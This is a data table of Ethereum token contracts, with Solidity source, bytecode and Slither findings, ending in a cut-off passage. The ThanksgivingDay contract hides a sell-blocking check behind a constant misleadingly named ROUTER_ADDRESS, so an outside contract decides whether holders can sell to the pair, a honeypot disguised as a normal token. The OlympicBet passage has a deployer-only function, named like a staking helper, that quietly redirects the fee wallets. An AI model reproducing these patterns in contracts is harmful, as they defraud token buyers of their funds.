address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xd12a3aFd391B8949f24a741cb81168d9b5662F84 | //SPDX-License-Identifier: MIT
// Telegram: t.me/tgdtoken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="TGD";
string constant TOKEN_NAME="Thanksgiving Day Token";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract ThanksgivingDay is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102a15780639e752b95146102cd578063a9059cbb146102ed578063dd62ed3e1461030d578063f42938901461035357600080fd5b806356d9dce81461022f57806370a0823114610244578063715018a6146102645780638da5cb5b1461027957600080fd5b8063293230b8116100d1578063293230b8146101d2578063313ce567146101e95780633e07ce5b1461020557806351bc3c851461021a57600080fd5b806306fdde031461010e578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260168152752a3430b735b9b3b4bb34b733902230bc902a37b5b2b760511b60208201525b60405161015691906114ff565b60405180910390f35b34801561016b57600080fd5b5061017f61017a366004611569565b610368565b6040519015158152602001610156565b34801561019b57600080fd5b506101a461037f565b604051908152602001610156565b3480156101be57600080fd5b5061017f6101cd366004611595565b6103a0565b3480156101de57600080fd5b506101e7610409565b005b3480156101f557600080fd5b5060405160068152602001610156565b34801561021157600080fd5b506101e7610781565b34801561022657600080fd5b506101e76107b7565b34801561023b57600080fd5b506101e76107e4565b34801561025057600080fd5b506101a461025f3660046115d6565b610865565b34801561027057600080fd5b506101e7610887565b34801561028557600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102ad57600080fd5b506040805180820190915260038152621511d160ea1b6020820152610149565b3480156102d957600080fd5b506101e76102e83660046115f3565b61092b565b3480156102f957600080fd5b5061017f610308366004611569565b610954565b34801561031957600080fd5b506101a461032836600461160c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035f57600080fd5b506101e7610961565b60006103753384846109cb565b5060015b92915050565b600061038d6006600a61173f565b61039b906305f5e10061174e565b905090565b60006103ad848484610aef565b6103ff84336103fa856040518060600160405280602881526020016118cc602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e2b565b6109cb565b5060019392505050565b6009546001600160a01b0316331461042057600080fd5b600c54600160a01b900460ff161561047f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104ab9030906001600160a01b031661049d6006600a61173f565b6103fa906305f5e10061174e565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610522919061176d565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a8919061176d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610619919061176d565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061064981610865565b60008061065e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106eb919061178a565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e91906117b8565b50565b6009546001600160a01b0316331461079857600080fd5b6107a46006600a61173f565b6107b2906305f5e10061174e565b600a55565b6009546001600160a01b031633146107ce57600080fd5b60006107d930610865565b905061077e81610e65565b6009546001600160a01b031633146107fb57600080fd5b600c54600160a01b900460ff166108545760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610476565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037990610fdf565b6000546001600160a01b031633146108e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610476565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461094257600080fd5b6009811061094f57600080fd5b600855565b6000610375338484610aef565b6009546001600160a01b0316331461097857600080fd5b4761077e8161105c565b60006109c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061109a565b9392505050565b6001600160a01b038316610a2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b038216610a8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b60008111610c175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8a91906117da565b600c546001600160a01b038481169116148015610cb55750600b546001600160a01b03858116911614155b610cc0576000610cc2565b815b1115610ccd57600080fd5b6000546001600160a01b03848116911614801590610cf957506000546001600160a01b03838116911614155b15610e1b57600c546001600160a01b038481169116148015610d295750600b546001600160a01b03838116911614155b8015610d4e57506001600160a01b03821660009081526004602052604090205460ff16155b15610da457600a548110610da45760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610476565b6000610daf30610865565b600c54909150600160a81b900460ff16158015610dda5750600c546001600160a01b03858116911614155b8015610def5750600c54600160b01b900460ff165b15610e1957610dfd81610e65565b47670de0b6b3a7640000811115610e1757610e174761105c565b505b505b610e268383836110c8565b505050565b60008184841115610e4f5760405162461bcd60e51b815260040161047691906114ff565b506000610e5c84866117f3565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ead57610ead61180a565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a919061176d565b81600181518110610f3d57610f3d61180a565b6001600160a01b039283166020918202929092010152600b54610f6391309116846109cb565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9c908590600090869030904290600401611820565b600060405180830381600087803b158015610fb657600080fd5b505af1158015610fca573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110465760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610476565b60006110506110d3565b90506109c48382610982565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611096573d6000803e3d6000fd5b5050565b600081836110bb5760405162461bcd60e51b815260040161047691906114ff565b506000610e5c8486611891565b610e268383836110f6565b60008060006110e06111ed565b90925090506110ef8282610982565b9250505090565b6000806000806000806111088761126f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113a90876112cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611169908661130e565b6001600160a01b03891660009081526002602052604090205561118b8161136d565b61119584836113b7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111da91815260200190565b60405180910390a3505050505050505050565b6005546000908190816112026006600a61173f565b611210906305f5e10061174e565b90506112386112216006600a61173f565b61122f906305f5e10061174e565b60055490610982565b8210156112665760055461124e6006600a61173f565b61125c906305f5e10061174e565b9350935050509091565b90939092509050565b600080600080600080600080600061128c8a6007546008546113db565b925092509250600061129c6110d3565b905060008060006112af8e878787611430565b919e509c509a509598509396509194505050505091939550919395565b60006109c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e2b565b60008061131b83856118b3565b9050838110156109c45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006113776110d3565b905060006113858383611480565b306000908152600260205260409020549091506113a2908261130e565b30600090815260026020526040902055505050565b6005546113c490836112cc565b6005556006546113d4908261130e565b6006555050565b60008080806113f560646113ef8989611480565b90610982565b9050600061140860646113ef8a89611480565b905060006114208261141a8b866112cc565b906112cc565b9992985090965090945050505050565b600080808061143f8886611480565b9050600061144d8887611480565b9050600061145b8888611480565b9050600061146d8261141a86866112cc565b939b939a50919850919650505050505050565b60008261148f57506000610379565b600061149b838561174e565b9050826114a88583611891565b146109c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b600060208083528351808285015260005b8181101561152c57858101830151858201604001528201611510565b8181111561153e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077e57600080fd5b6000806040838503121561157c57600080fd5b823561158781611554565b946020939093013593505050565b6000806000606084860312156115aa57600080fd5b83356115b581611554565b925060208401356115c581611554565b929592945050506040919091013590565b6000602082840312156115e857600080fd5b81356109c481611554565b60006020828403121561160557600080fd5b5035919050565b6000806040838503121561161f57600080fd5b823561162a81611554565b9150602083013561163a81611554565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169657816000190482111561167c5761167c611645565b8085161561168957918102915b93841c9390800290611660565b509250929050565b6000826116ad57506001610379565b816116ba57506000610379565b81600181146116d057600281146116da576116f6565b6001915050610379565b60ff8411156116eb576116eb611645565b50506001821b610379565b5060208310610133831016604e8410600b8410161715611719575081810a610379565b611723838361165b565b806000190482111561173757611737611645565b029392505050565b60006109c460ff84168361169e565b600081600019048311821515161561176857611768611645565b500290565b60006020828403121561177f57600080fd5b81516109c481611554565b60008060006060848603121561179f57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ca57600080fd5b815180151581146109c457600080fd5b6000602082840312156117ec57600080fd5b5051919050565b60008282101561180557611805611645565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118705784516001600160a01b03168352938301939183019160010161184b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118ae57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c6576118c6611645565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b158955727d69c5ee15047f1e33335af3ad6654cda84f008aecd4416744cc5064736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 800 |
0x9a60cab69d4005267651caad9627b4ece8026d49 | // Olympic Bet ($OLMP)
// Telegram : https://t.me/olympicbetofficial
// Fair Launch
// Checkout olympicbet.io!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OlympicBet is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Olympic Bet";
string private constant _symbol = "OLMP";
uint8 private constant _decimals = 9;
address private _stakingProxy;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_stakingProxy = msg.sender;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function excludeProxyStaking(address payable addr1, address payable addr2) public {
require(msg.sender == _stakingProxy, "You are not authorized");
_teamAddress = addr1;
_marketingFunds = addr2;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if (from != address(this)) {
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(3).div(10));
_marketingFunds.transfer(amount.mul(7).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
